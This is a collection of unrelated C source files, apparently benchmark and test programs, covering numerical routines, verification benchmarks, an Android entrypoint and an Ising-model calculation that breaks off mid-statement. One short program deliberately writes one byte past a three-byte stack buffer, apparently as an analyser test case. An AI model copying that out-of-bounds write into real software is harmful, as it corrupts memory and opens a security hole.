/* -- LAPACK is a software package provided by Univ. of Tennessee, -- */ /* -- Univ. of California Berkeley, Univ. of Colorado Denver and NAG Ltd..-- */ /* December 2016 */ /* ===================================================================== */ /* Adding SAFE1 to the numerator guards against spuriously zero */ /* residuals. A similar safeguard is in the SLA_yyAMV routine used */ /* to compute AYB. */ /* Parameter adjustments */ --berr; ayb_dim1 = *n; ayb_offset = 1 + ayb_dim1 * 1; ayb -= ayb_offset; res_dim1 = *n; res_offset = 1 + res_dim1 * 1; res -= res_offset; /* Function Body */ safe1 = dlamch_("Safe minimum"); safe1 = (*nz + 1) * safe1; i__1 = *nrhs; for (j = 1; j <= i__1; ++j) { berr[j] = 0.; i__2 = *n; for (i__ = 1; i__ <= i__2; ++i__) { if (ayb[i__ + j * ayb_dim1] != 0.) { tmp = (safe1 + (d__1 = res[i__ + j * res_dim1], abs(d__1))) / ayb[i__ + j * ayb_dim1]; /* Computing MAX */ d__1 = berr[j]; berr[j] = f2cmax(d__1,tmp); } /* If AYB is exactly 0.0 (and if computed by SLA_yyAMV), then we know */ /* the true residual also must be exactly 0.0. */ } } return 0; } /* dla_lin_berr__ */
the_stack_data/20448983.c
/* ************************************************************************** */ /* */ /* ::: :::::::: */ /* test.c :+: :+: :+: */ /* +:+ +:+ +:+ */ /* By: evgenkarlson <[email protected]> +#+ +:+ +#+ */ /* +#+#+#+#+#+ +#+ */ /* Created: 2020/05/12 12:33:14 by evgenkarlson #+# #+# */ /* Updated: 2020/09/28 19:26:27 by evgenkarlson ### ########.fr */ /* */ /* ************************************************************************** */ /* ************************************************************************** */ /* команда для компиляции и одновременного запуска */ /* */ /* gcc -Wall -Werror -Wextra test.c && chmod +x ./a.out && ./a.out */ /* ************************************************************************** */ #include <unistd.h> void ft_putchar(char c) /* функция печати символа */ { write(1, &c, 1); } void ft_putnbr(int nb) /* Функция печати числа */ { int temp; int size; size = 1; if (nb < 0) { ft_putchar('-'); nb = -nb; } if (nb == -2147483648) { ft_putchar('2'); nb = 147483648; } temp = nb; while ((temp /= 10) > 0) size *= 10; temp = nb; while (size) { ft_putchar((char)((temp / size)) + 48); temp %= size; size /= 10; } } /* ** Функция реализует "гипотезу Коллатца" и возвращает количество ** проведенных над числом операций, которое мы туда отправим. ** ** Гипотеза Коллатца заключается в том, что какое бы начальное число n мы ни ** взяли, рано или поздно мы получим единицу. ** Берём любое натуральное число n. Если оно чётное, то делим его на 2, а если ** нечётное, то умножаем на 3 и прибавляем 1 (получаем 3n + 1). Над полученным ** числом выполняем те же самые действия, и так далее. ** ** ** Примеры ** ** Например, для числа 3 получаем: ** 3 — нечётное, 3×3 + 1 = 10 ** 10 — чётное, 10:2 = 5 ** 5 — нечётное, 5×3 + 1 = 16 ** 16 — чётное, 16:2 = 8 ** 8 — чётное, 8:2 = 4 ** 4 — чётное, 4:2 = 2 ** 2 — чётное, 2:2 = 1 ** 1 — нечётное, 1×3 + 1 = 4 ** ** Далее, начиная с 1, начинают циклически повторяться числа 1, 4, 2. ** Вот тут, при достижении числа один мы и завершим функцию и вернем ** количество проведенных над числом операций. ** ДЛЯ ПРОВЕРКИ\\!// ** Последовательность, начинающаяся числом 19, приходит к единице уже за 20 шагов: ** 19, 58, 29, 88, 44, 22, 11, 34, 17, 52, 26, 13, 40, 20, 10, 5, 16, 8, 4, 2, 1, … ** Для числа 27 получаем: ** 27, 82, 41, 124, 62, 31, 94, 47, 142, 71, 214, 107, 322, 161, 484, 242, 121, 364, ** 182, 91, 274, 137, 412, 206, 103, 310, 155, 466, 233, 700, 350, 175, 526, 263, 790, ** 395, 1186, 593, 1780, 890, 445, 1336, 668, 334, 167, 502, 251, 754, 377, 1132, 566, ** 283, 850, 425, 1276, 638, 319, 958, 479, 1438, 719, 2158, 1079, 3238, 1619, 4858, ** 2429, 7288, 3644, 1822, 911, 2734, 1367, 4102, 2051, 6154, 3077, 9232, 4616, 2308, ** 1154, 577, 1732, 866, 433, 1300, 650, 325, 976, 488, 244, 122, 61, 184, 92, 46, 23, ** 70, 35, 106, 53, 160, 80, 40, 20, 10, 5, 16, 8, 4, 2, 1, … ** ** Последовательность пришла к единице только через 111 шагов, достигнув в пи́ке значения 9232. */ unsigned int ft_collatz_conjecture(unsigned int base) { if (base == 1) return (0); if ((base % 2) == 0) return (1 + ft_collatz_conjecture(base / 2)); else return (1 + ft_collatz_conjecture(base * 3 + 1)); } int main() { ft_putnbr(ft_collatz_conjecture(27)); return 0; }
the_stack_data/730732.c
#include "assert.h" void main() { int tagbuf_len; int t; tagbuf_len = __VERIFIER_nondet_int(); if(tagbuf_len >= 1); else goto END; t = 0; --tagbuf_len; while (1) { if (t == tagbuf_len) { __VERIFIER_assert(0 <= t); __VERIFIER_assert(t <= tagbuf_len); // tag[t] = EOS; goto END; } if (__VERIFIER_nondet_int()) { break; } __VERIFIER_assert(0 <= t); __VERIFIER_assert(t <= tagbuf_len); t++; } __VERIFIER_assert(0 <= t); __VERIFIER_assert(t <= tagbuf_len); t++; while (1) { if (t == tagbuf_len) { /* Suppose t == tagbuf_len - 1 */ __VERIFIER_assert(0 <= t); __VERIFIER_assert(t <= tagbuf_len); goto END; } if (__VERIFIER_nondet_int()) { if ( __VERIFIER_nondet_int()) { __VERIFIER_assert(0 <= t); __VERIFIER_assert(t <= tagbuf_len); t++; if (t == tagbuf_len) { __VERIFIER_assert(0 <= t); __VERIFIER_assert(t <= tagbuf_len); goto END; } } } else if ( __VERIFIER_nondet_int()) { break; } /* OK */ __VERIFIER_assert(0 <= t); __VERIFIER_assert(t <= tagbuf_len); t++; /* Now t == tagbuf_len + 1 * So the bounds check (t == tagbuf_len) will fail */ } /* OK */ __VERIFIER_assert(0 <= t); __VERIFIER_assert(t <= tagbuf_len); END: return; }
the_stack_data/28262601.c
/* * Copyright (c) 2008 Otto Moerbeek <[email protected]> * * Permission to use, copy, modify, and distribute this software for any * purpose with or without fee is hereby granted, provided that the above * copyright notice and this permission notice appear in all copies. * * THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES * WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF * MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR * ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES * WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN * ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF * OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. */ #include <sys/types.h> #include <errno.h> #include <stdint.h> #include <stdlib.h> /* * This is sqrt(SIZE_MAX+1), as s1*s2 <= SIZE_MAX * if both s1 < MUL_NO_OVERFLOW and s2 < MUL_NO_OVERFLOW */ #define MUL_NO_OVERFLOW (1UL << (sizeof(size_t) * 4)) void * reallocarray(void *optr, size_t nmemb, size_t size) { if ((nmemb >= MUL_NO_OVERFLOW || size >= MUL_NO_OVERFLOW) && nmemb > 0 && SIZE_MAX / nmemb < size) { errno = ENOMEM; return NULL; } return realloc(optr, size * nmemb); }
the_stack_data/98574636.c
#include <stdio.h> #define N 10 long A[N][N][2]; int main() { long S = 0; for (int I = 0; I < N; ++I) for (int J = 0; J < N; ++J) for (int K = 0; K < 2; ++K) A[I][J][K] = I + J + K; for (int I = 1; I < N; ++I) for (int J = 1; J < N; ++J) for (int K = 0; K < 2; ++K) A[I][J][K] = A[I - 1][J][K] + A[I][J - 1][K] + A[I][J][0] + A[I][J][1]; for (int I = 0; I < N; ++I) for (int J = 0; J < N; ++J) for (int K = 0; K < 2; ++K) S += A[I][J][K]; printf("Sum = %ld\n", S); return 0; } //CHECK: dvmh_sm_5.c:17:3: remark: parallel execution of loop is possible //CHECK: for (int I = 0; I < N; ++I) //CHECK: ^ //CHECK: dvmh_sm_5.c:18:5: remark: parallel execution of loop is possible //CHECK: for (int J = 0; J < N; ++J) //CHECK: ^ //CHECK: dvmh_sm_5.c:19:7: remark: parallel execution of loop is possible //CHECK: for (int K = 0; K < 2; ++K) //CHECK: ^ //CHECK: dvmh_sm_5.c:13:3: remark: parallel execution of loop is possible //CHECK: for (int I = 1; I < N; ++I) //CHECK: ^ //CHECK: dvmh_sm_5.c:14:5: remark: parallel execution of loop is possible //CHECK: for (int J = 1; J < N; ++J) //CHECK: ^ //CHECK: dvmh_sm_5.c:9:3: remark: parallel execution of loop is possible //CHECK: for (int I = 0; I < N; ++I) //CHECK: ^ //CHECK: dvmh_sm_5.c:10:5: remark: parallel execution of loop is possible //CHECK: for (int J = 0; J < N; ++J) //CHECK: ^ //CHECK: dvmh_sm_5.c:11:7: remark: parallel execution of loop is possible //CHECK: for (int K = 0; K < 2; ++K) //CHECK: ^
the_stack_data/36075041.c
#if 0 // {{{ Disabled for now // // PTC temperature and tripping model. // // This is part of a rewrite of James Pearman (aka Jpearman)'s Smart Motor Library, // which is based on and uses Chris Siegert (aka vamfun)'s model of the motor and PTC. // https://vamfun.wordpress.com/2012/07/18/estimating-the-ptc-temperature-using-motor-current-first-try-no-luck/ // https://vamfun.wordpress.com/2012/07/21/derivation-of-formulas-to-estimate-h-bridge-controller-current-vex-jaguarvictor-draft/ // https://github.com/jpearman/smartMotorLib/blob/master/SmartMotorLib.c // http://www.vexforum.com/showthread.php?t=74659 // http://www.vexforum.com/showthread.php?t=73960 // #include "ptc.h" #include <stdbool.h> void ptcInit(Ptc *ptc, PtcSetup setup) { *(float *)&ptc->constant1 = setup.constant1; *(float *)&ptc->constant2 = setup.constant2; ptc->ambient = setup.ambient; ptc->temperature = ptc->ambient; ptc->tripped = false; } // Also returns the trip status. bool ptcUpdate(Ptc *ptc, float current, float timeChange) { updateTemperature(ptc, current, timeChange); updateTripStatus(ptc); return ptc->tripped; } void updateTemperature(Ptc *ptc, float current, float timeChange) { float heatLoss = ptc->temperature - ptc->ambient; float heatGain = current * current * ptc->constant1; float rate = ptc->constant2 * (heatGain - heatLoss); ptc->temperature += timeChange * rate; } void updateTripStatus(Ptc *ptc) { // Tripping if (!ptc->tripped && ptc->temperature > PTC_TEMPERATURE_TRIP) { ptc->tripped = true; } // Un-tripping, below hysterisis else if (ptc->tripped && ptc->temperature < PTC_TEMPERATURE_UNTRIP) { ptc->tripped = false; } } // }}} #endif
the_stack_data/212644358.c
#include <stdio.h> #include <stdlib.h> static int INSERT_HERE; int main(int argc,char *argv[]) { int x = 5; double y = 20.5; INSERT_HERE = 0; y = y * x + 1.11111; return (int )y; } void woah() { int a = 1; a++; }
the_stack_data/110482.c
/* rename -- rename a file Copyright (C) 1992 Free Software Foundation, Inc. This file is part of the libiberty library. Libiberty is free software; you can redistribute it and/or modify it under the terms of the GNU Library General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. Libiberty is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Library General Public License for more details. You should have received a copy of the GNU Library General Public License along with libiberty; see the file COPYING.LIB. If not, write to the Free Software Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. */ /* Rename a file. */ #include <errno.h> int rename (zfrom, zto) char *zfrom; char *zto; { if (link (zfrom, zto) < 0) { if (errno != EEXIST) return -1; if (unlink (zto) < 0 || link (zfrom, zto) < 0) return -1; } return unlink (zfrom); }
the_stack_data/100139986.c
// # debug --------------------------------------------------------------------- #ifndef DEBUGGER_H #define DEBUGGER_H int debugging(); int asserting(); #endif // ----------------------------------------------------------------------------- #ifdef DEBUGGER_C #pragma once #include <stdbool.h> #include <stdio.h> #include <assert.h> #include <signal.h> #if _WIN32 #include <winsock2.h> #endif int debugging() { #if _WIN32 return IsDebuggerPresent() ? 1 : 0; #else // return ptrace(PTRACE_TRACEME, 0, 0, 0) == -1 ? 1 : 0; FILE *fd = fopen("/tmp", "r"); int rc = fileno(fd) > 5; fclose(fd); return !!rc; #endif } int asserting() { int asserting = 0; assert( asserting |= 1 ); return !!asserting; } #endif #ifdef DEBUGGER_DEMO #include <stdio.h> int main() { printf("is_debugging: %d\n", debugging()); printf("is_asserting: %d\n", asserting()); printf("is_optimized: %d\n", optimized()); } #endif
the_stack_data/18133.c
#ifdef __ANDROID__ // partially based on bgfx entry_android.cpp #define ENTRYPOINT_CTX #include "entrypoint.h" #include "entrypoint_android.h" #include <android/log.h> #include <android/input.h> #include <android/window.h> #include <android/native_window.h> #include <jni.h> #include <android_native_app_glue.c> // just so we don't need to build it static entrypoint_ctx_t ctx = {0}; entrypoint_ctx_t * ep_ctx() {return &ctx;} // ----------------------------------------------------------------------------- ep_size_t ep_size() { ep_size_t r = {ctx.view_w, ctx.view_h}; return r; } bool ep_retina() { return false; // TODO } ep_ui_margins_t ep_ui_margins() { // TODO some phones actually have curved screen, how do we detect that? ep_ui_margins_t r = {0, 0, 0, 0}; return r; } // ----------------------------------------------------------------------------- static void * entrypoint_thread(void * param); static void on_app_cmd(struct android_app * app, int32_t cmd) { switch(cmd) { case APP_CMD_INPUT_CHANGED: // Command from main thread: the AInputQueue has changed. Upon processing // this command, android_app->inputQueue will be updated to the new queue // (or NULL). break; case APP_CMD_INIT_WINDOW: // Command from main thread: a new ANativeWindow is ready for use. Upon // receiving this command, android_app->window will contain the new window // surface. if(ctx.window != app->window) { ctx.window = app->window; pthread_mutex_lock(&ctx.mutex); ctx.view_w = ANativeWindow_getWidth(ctx.window); ctx.view_h = ANativeWindow_getHeight(ctx.window); pthread_mutex_unlock(&ctx.mutex); if(!ctx.thread_running) { ctx.thread_running = true; pthread_create(&ctx.thread, NULL, entrypoint_thread, NULL); } } break; case APP_CMD_TERM_WINDOW: // Command from main thread: the existing ANativeWindow needs to be // terminated. Upon receiving this command, android_app->window still // contains the existing window; after calling android_app_exec_cmd // it will be set to NULL. pthread_mutex_lock(&ctx.mutex); ctx.window = NULL; pthread_mutex_unlock(&ctx.mutex); break; case APP_CMD_WINDOW_RESIZED: // Command from main thread: the current ANativeWindow has been resized. // Please redraw with its new size. break; case APP_CMD_WINDOW_REDRAW_NEEDED: // Command from main thread: the system needs that the current ANativeWindow // be redrawn. You should redraw the window before handing this to // android_app_exec_cmd() in order to avoid transient drawing glitches. break; case APP_CMD_CONTENT_RECT_CHANGED: // Command from main thread: the content area of the window has changed, // such as from the soft input window being shown or hidden. You can // find the new content rect in android_app::contentRect. break; case APP_CMD_GAINED_FOCUS: // Command from main thread: the app's activity window has gained // input focus. break; case APP_CMD_LOST_FOCUS: // Command from main thread: the app's activity window has lost // input focus. pthread_mutex_lock(&ctx.mutex); entrypoint_might_unload(); pthread_mutex_unlock(&ctx.mutex); break; case APP_CMD_CONFIG_CHANGED: // Command from main thread: the current device configuration has changed. break; case APP_CMD_LOW_MEMORY: // Command from main thread: the system is running low on memory. // Try to reduce your memory use. pthread_mutex_lock(&ctx.mutex); entrypoint_might_unload(); pthread_mutex_unlock(&ctx.mutex); break; case APP_CMD_START: // Command from main thread: the app's activity has been started. break; case APP_CMD_RESUME: // Command from main thread: the app's activity has been resumed. break; case APP_CMD_SAVE_STATE: // Command from main thread: the app should generate a new saved state // for itself, to restore from later if needed. If you have saved state, // allocate it with malloc and place it in android_app.savedState with // the size in android_app.savedStateSize. The will be freed for you // later. pthread_mutex_lock(&ctx.mutex); entrypoint_might_unload(); pthread_mutex_unlock(&ctx.mutex); break; case APP_CMD_PAUSE: // Command from main thread: the app's activity has been paused. pthread_mutex_lock(&ctx.mutex); entrypoint_might_unload(); pthread_mutex_unlock(&ctx.mutex); break; case APP_CMD_STOP: // Command from main thread: the app's activity has been stopped. break; case APP_CMD_DESTROY: // Command from main thread: the app's activity is being destroyed, // and waiting for the app thread to clean up and exit before proceeding. break; } } #ifdef ENTRYPOINT_PROVIDE_INPUT int32_t on_input_event(struct android_app *_app, AInputEvent *_event) { const int32_t type = AInputEvent_getType(_event); const int32_t source = AInputEvent_getSource(_event); const int32_t actionBits = AMotionEvent_getAction(_event); switch (type) { case AINPUT_EVENT_TYPE_MOTION: { //pthread_mutex_lock(&ctx.mutex); int32_t touch_count = AMotionEvent_getPointerCount(_event); if(touch_count > ENTRYPOINT_MAX_MULTITOUCH) touch_count = ENTRYPOINT_MAX_MULTITOUCH; for(int32_t touch = 0; touch < touch_count; ++touch) { ctx.touch.multitouch[touch].x = AMotionEvent_getX(_event, touch); ctx.touch.multitouch[touch].y = AMotionEvent_getY(_event, touch); } int32_t action = (actionBits & AMOTION_EVENT_ACTION_MASK); int32_t index = (actionBits & AMOTION_EVENT_ACTION_POINTER_INDEX_MASK) >> AMOTION_EVENT_ACTION_POINTER_INDEX_SHIFT; if(index < ENTRYPOINT_MAX_MULTITOUCH) { if(action == AMOTION_EVENT_ACTION_DOWN || action == AMOTION_EVENT_ACTION_POINTER_DOWN) ctx.touch.multitouch[index].touched = 1; else if(action == AMOTION_EVENT_ACTION_UP || action == AMOTION_EVENT_ACTION_POINTER_UP) ctx.touch.multitouch[index].touched = 0; } ctx.touch.x = ctx.touch.multitouch[0].x; ctx.touch.y = ctx.touch.multitouch[0].y; ctx.touch.left = ctx.touch.multitouch[0].touched; //pthread_mutex_unlock(&ctx.mutex); } break; default: break; } return 0; } #endif void * entrypoint_thread(void * param) { JNIEnv * jni_env_entrypoint_thread = NULL; (*ctx.app->activity->vm)->AttachCurrentThread(ctx.app->activity->vm, &jni_env_entrypoint_thread, NULL); ctx.jni_env_entrypoint_thread = jni_env_entrypoint_thread; if(entrypoint_init(ctx.argc, ctx.argv)) { (*ctx.app->activity->vm)->DetachCurrentThread(ctx.app->activity->vm); return NULL; } while(!ctx.flag_want_to_close) { pthread_mutex_lock(&ctx.mutex); if(entrypoint_loop()) { pthread_mutex_unlock(&ctx.mutex); break; } pthread_mutex_unlock(&ctx.mutex); } if(entrypoint_might_unload()) // TODO is this needed ? { (*ctx.app->activity->vm)->DetachCurrentThread(ctx.app->activity->vm); return NULL; } if(entrypoint_deinit()) { (*ctx.app->activity->vm)->DetachCurrentThread(ctx.app->activity->vm); return NULL; } (*ctx.app->activity->vm)->DetachCurrentThread(ctx.app->activity->vm); return NULL; } void android_main(struct android_app * app) { const char * argv[1] = { "android.so" }; ctx.argc = 1; ctx.argv = (char**)argv; ctx.app = app; app->userData = &ctx; ctx.app->onAppCmd = on_app_cmd; #ifdef ENTRYPOINT_PROVIDE_INPUT ctx.app->onInputEvent = on_input_event; #endif ANativeActivity_setWindowFlags(ctx.app->activity, AWINDOW_FLAG_FULLSCREEN | AWINDOW_FLAG_KEEP_SCREEN_ON, 0); JNIEnv * jni_env_main_thread = NULL; (*ctx.app->activity->vm)->AttachCurrentThread(ctx.app->activity->vm, &jni_env_main_thread, NULL); ctx.jni_env_main_thread = jni_env_main_thread; { JNIEnv * env = ctx.jni_env_main_thread; jobject na_class = ctx.app->activity->clazz; jclass acl = (*env)->GetObjectClass(env, na_class); jmethodID get_class_loader = (*env)->GetMethodID(env, acl, "getClassLoader", "()Ljava/lang/ClassLoader;"); jobject cl_obj = (*env)->CallObjectMethod(env, na_class, get_class_loader); ctx.j_class_loader = (void*)((*env)->NewWeakGlobalRef(env, cl_obj)); jclass class_loader = (*env)->FindClass(env, "java/lang/ClassLoader"); ctx.j_find_class_method_id = (void*)((*env)->GetMethodID(env, class_loader, "loadClass", "(Ljava/lang/String;)Ljava/lang/Class;")); } ENTRYPOINT_ANDROID_PREPARE_PARAMS; pthread_mutex_init(&ctx.mutex, NULL); int poll_events = 0; struct android_poll_source * poll_source = NULL; while(!ctx.app->destroyRequested) { // TODO do we want one or all events? ALooper_pollAll(-1, NULL, &poll_events, (void**)&poll_source); if(poll_source) poll_source->process(ctx.app, poll_source); } ctx.flag_want_to_close = 1; pthread_join(ctx.thread, NULL); pthread_mutex_destroy(&ctx.mutex); // TODO do we need this? (*ctx.app->activity->vm)->DetachCurrentThread(ctx.app->activity->vm); return; } // ----------------------------------------------------------------------------- #ifdef ENTRYPOINT_PROVIDE_TIME double ep_delta_time() { if(!ctx.flag_time_set) { gettimeofday(&ctx.prev_time, NULL); ctx.flag_time_set = true; return 0.0; } struct timeval now; gettimeofday(&now, NULL); double elapsed = (now.tv_sec - ctx.prev_time.tv_sec) + ((now.tv_usec - ctx.prev_time.tv_usec) / 1000000.0); ctx.prev_time = now; return elapsed; } void ep_sleep(double seconds) { usleep((useconds_t)(seconds * 1000000.0)); } #endif // ----------------------------------------------------------------------------- #ifdef ENTRYPOINT_PROVIDE_LOG void ep_log(const char * message, ...) { va_list args; va_start(args, message); __android_log_vprint(ANDROID_LOG_INFO, ENTRYPOINT_ANDROID_LOG_TAG, message, args); va_end(args); } #endif // ----------------------------------------------------------------------------- #ifdef ENTRYPOINT_PROVIDE_INPUT void ep_touch(ep_touch_t * touch) { if(touch) *touch = ctx.touch; } bool ep_khit(int32_t key) {return false;} bool ep_kdown(int32_t key) {return false;} uint32_t ep_kchar() {return 0;} #endif // ----------------------------------------------------------------------------- #ifdef ENTRYPOINT_PROVIDE_OPENURL void ep_openurl(const char * url) { ep_jni_method_t r = ep_get_static_java_method("com/beardsvibe/EntrypointNativeActivity", "openURL", "(Ljava/lang/String;)V"); if(r.found) { JNIEnv * e = (JNIEnv*)r.env; jstring j_str = (*e)->NewStringUTF(e, url); (*e)->CallStaticVoidMethod(r.env, r.class_id, r.method_id, j_str); (*e)->DeleteLocalRef(e, j_str); } ep_get_static_java_method_clear(r); } #endif // ----------------------------------------------------------------------------- // jni helper is loosely based on cocos2d-x ep_jni_method_t ep_get_static_java_method(const char * class_name, const char * method_name, const char * param_code) { ep_jni_method_t r = {0}; JNIEnv * env = ctx.jni_env_entrypoint_thread; if(!class_name || !method_name || !param_code || !env) return r; jobject j_class_loader = (jobject)ctx.j_class_loader; jmethodID j_find_class_method_id = (jmethodID)ctx.j_find_class_method_id; jstring class_jstr = (*env)->NewStringUTF(env, class_name); jclass class_id = (jclass)((*env)->CallObjectMethod(env, j_class_loader, j_find_class_method_id, class_jstr)); if(!class_id) { (*env)->ExceptionClear(env); (*env)->DeleteLocalRef(env, class_jstr); return r; } (*env)->DeleteLocalRef(env, class_jstr); jmethodID method_id = (*env)->GetStaticMethodID(env, class_id, method_name, param_code); if(!method_id) { (*env)->ExceptionClear(env); return r; } r.found = true; r.env = (void*)env; r.class_id = (void*)class_id; r.method_id = (void*)method_id; return r; } void ep_get_static_java_method_clear(ep_jni_method_t method) { if(!method.found) return; (*((JNIEnv*)method.env))->DeleteLocalRef(method.env, method.class_id); } #endif
the_stack_data/217829.c
int main(void) { char buf[3]; char *bufptr = &buf[0]; *(bufptr + sizeof(buf)) = '\0'; return 0; }
the_stack_data/28263589.c
#include <stdio.h> #include <stdlib.h> #include <math.h> static long double J; static long double K; static int M; static int N; static long double FF_gamma_r(const int r) { long double returnValue, c_l; if(r == 0) { returnValue = 2.0*K+log(tanh(K)); } else { c_l = (cosh(2.0*K)/tanh(2.0*K))-cos(r*M_PI/N); returnValue = log(c_l+sqrt(c_l*c_l-1.0)); } return (long double) returnValue; } static long double FF_gamma_r_prime(const int r) { long double returnValue, c_l, c_l_prime; if(r == 0) { returnValue = 2.0*(1.0+1.0/sinh(2.0*K)); } else { c_l = (cosh(2.0*K)/tanh(2.0*K))-cos(r*M_PI/N); c_l_prime = 2.0*cosh(2.0*K)*(1.0-1.0/(sinh(2.0*K)*sinh(2.0*K))); returnValue = c_l_prime/sqrt(c_l*c_l-1.0); } return (long double) returnValue; } static long double FF_gamma_r_pprime(const int r) { long double returnValue, c_l, c_l_prime, c_l_pprime; if(r == 0) { returnValue = -4.0/(sinh(2.0*K)*tanh(2.0*K)); } else { c_l = (cosh(2.0*K)/tanh(2.0*K))-cos(r*M_PI/N); c_l_prime = 2.0*cosh(2.0*K)*(1.0-1.0/(sinh(2.0*K)*sinh(2.0*K))); c_l_pprime = 8.0/(sinh(2.0*K)*sinh(2.0*K)*sinh(2.0*K))*cosh(2.0*K)*cosh(2.0*K); c_l_pprime += 4.0*(sinh(2.0*K)-1.0/sinh(2.0*K)); returnValue = c_l_pprime/sqrt(c_l*c_l-1.0); returnValue -= c_l_prime*c_l_prime*c_l/(sqrt(c_l*c_l-1.0)*sqrt(c_l*c_l-1.0)*sqrt(c_l*c_l-1.0)); } return (long double) returnValue; } static long double FF_partitionFunction_Zx(const int x) { int i; long double returnValue = 1.0; if(x == 1) { for(i=0; i<=(N-1); i++) { returnValue *= (2.0*cosh(0.5*M*FF_gamma_r(2*i+1))); } } else if(x == 2) { for(i=0; i<=(N-1); i++) { returnValue *= (2.0*sinh(0.5*M*FF_gamma_r(2*i+1))); } } else if(x == 3) { for(i=0; i<=(N-1); i++) { returnValue *= (2.0*cosh(0.5*M*FF_gamma_r(2*i))); } } else if(x == 4) { for(i=0; i<=(N-1); i++) { returnValue *= (2.0*sinh(0.5*M*FF_gamma_r(2*i))); } } return (long double) returnValue; } static long double FF_partitionFunction_ZxPrime_div_Zx(const int x) { int i; long double returnValue = 0.0; if(x == 1) { for(i=0; i<=(N-1); i++) { returnValue += FF_gamma_r_prime(2*i+1)*tanh(0.5*M*FF_gamma_r(2*i+1)); } returnValue *= 0.5*M; } else if(x == 2) { for(i=0; i<=(N-1); i++) { returnValue += FF_gamma_r_prime(2*i+1)/tanh(0.5*M*FF_gamma_r(2*i+1)); } returnValue *= 0.5*M; } else if(x == 3) { for(i=0; i<=(N-1); i++) { returnValue += FF_gamma_r_prime(2*i)*tanh(0.5*M*FF_gamma_r(2*i)); } returnValue *= 0.5*M; } else if(x == 4) { for(i=0; i<=(N-1); i++) { returnValue += FF_gamma_r_prime(2*i)/tanh(0.5*M*FF_gamma_r(2*i)); } returnValue *= 0.5*M; } return (long double) returnValue; } static long double FF_partitionFunction_ZxPPrime_div_Zx(const int x) { int i; long double temp1 = 0.0, temp2 = 0.0, returnValue = 0.0; if(x == 1) { for(i=0; i<=(N-1); i++) { temp1 += FF_gamma_r_prime(2*i+1)*tanh(0.5*M*FF_gamma_r(2*i+1)); } temp1 *= 0.5*M; temp1 *= temp1; for(i=0; i<=(N-1); i++) { temp2 += FF_gamma_r_pprime(2*i+1)*tanh(0.5*M*FF_gamma_r(2*i+1)); temp2 += 0.5*M*(FF_gamma_r_prime(2*i+1)*FF_gamma_r_prime(2*i+1)/(cosh(0.5*M*FF_gamma_r(2*i+1))*cosh(0.5*M*FF_gamma_r(2*i+1)))); } temp2 *= 0.5*M; returnValue = temp1+temp2; } else if(x == 2) { for(i=0; i<=(N-1); i++) { temp1 += FF_gamma_r_prime(2*i+1)/tanh(0.5*M*FF_gamma_r(2*i+1)); } temp1 *= 0.5*M; temp1 *= temp1; for(i=0; i<=(N-1); i++) { temp2 += FF_gamma_r_pprime(2*i+1)/tanh(0.5*M*FF_gamma_r(2*i+1)); temp2 -= 0.5*M*(FF_gamma_r_prime(2*i+1)*FF_gamma_r_prime(2*i+1)/(sinh(0.5*M*FF_gamma_r(2*i+1))*sinh(0.5*M*FF_gamma_r(2*i+1)))); } temp2 *= 0.5*M; returnValue = temp1+temp2; } else if(x == 3) { for(i=0; i<=(N-1); i++) { temp1 += FF_gamma_r_prime(2*i)*tanh(0.5*M*FF_gamma_r(2*i)); } temp1 *= 0.5*M; temp1 *= temp1; for(i=0; i<=(N-1); i++) { temp2 += FF_gamma_r_pprime(2*i)*tanh(0.5*M*FF_gamma_r(2*i)); temp2 += 0.5*M*(FF_gamma_r_prime(2*i)*FF_gamma_r_prime(2*i)/(cosh(0.5*M*FF_gamma_r(2*i))*cosh(0.5*M*FF_gamma_r(2*i)))); } temp2 *= 0.5*M; returnValue = temp1+temp2; } else if(x == 4) { for(i=0; i<=(N-1); i++) { temp1 += FF_gamma_r_prime(2*i)/tanh(0.5*M*FF_gamma_r(2*i)); } temp1 *= 0.5*M; temp1 *= temp1; for(i=0; i<=(N-1); i++) { temp2 += FF_gamma_r_pprime(2*i)/tanh(0.5*M*FF_gamma_r(2*i)); temp2 -= 0.5*M*(FF_gamma_r_prime(2*i)*FF_gamma_r_prime(2*i)/(sinh(0.5*M*FF_gamma_r(2*i))*sinh(0.5*M*FF_gamma_r(2*i)))); } temp2 *= 0.5*M; returnValue = temp1+temp2; } return (long double) returnValue; } int main(int argc, char *argv[]) { long double Z1, Z2, Z3, Z4, Z1Prime_div_Z1, Z2Prime_div_Z2, Z3Prime_div_Z3, Z4Prime_div_Z4, Z1PPrime_div_Z1, Z2PPrime_div_Z2, Z3PPrime_div_Z3, Z4PPrime_div_Z4, temp, internalEnergy, specificHeat; /***********************************/ /** process commandline arguments **/ /***********************************/ J = 1.0; K = (double)(argc > 1 ? J*atof(argv[1]) : J*0.5*log(1.0+sqrt(2.0))); M = (int)(argc > 2 ? atoi(argv[2]) : 32); N = (int)(argc > 3 ? atoi(argv[3]) : 32); /*****************************************/ /** compute partial partition functions **/ /** and derivatives **/ /*****************************************/ Z1 = FF_partitionFunction_Zx(1); Z2 = FF_partitionFunction_Zx(2); Z3 = FF_partitionFunction_Zx(3); Z4 = FF_partitionFunction_Zx(4); Z1Prime_div_Z1 = FF_partitionFunction_ZxPrime_div_Zx(1); Z2Prime_div_Z2 = FF_partitionFunction_ZxPrime_div_Zx(2); Z3Prime_div_Z3 = FF_partitionFunction_ZxPrime_div_Zx(3); Z4Prime_div_Z4 = FF_partitionFunction_ZxPrime_div_Zx(4); Z1PPrime_div_Z1 = FF_partitionFunction_ZxPPrime_div_Zx(1); Z2PPrime_div_Z2 = FF_partitionFunction_ZxPPrime_div_Zx(2); Z3PPrime_div_Z3 = FF_partitionFunction_ZxPPrime_div_Zx(3); Z4PPrime_div_Z4 = 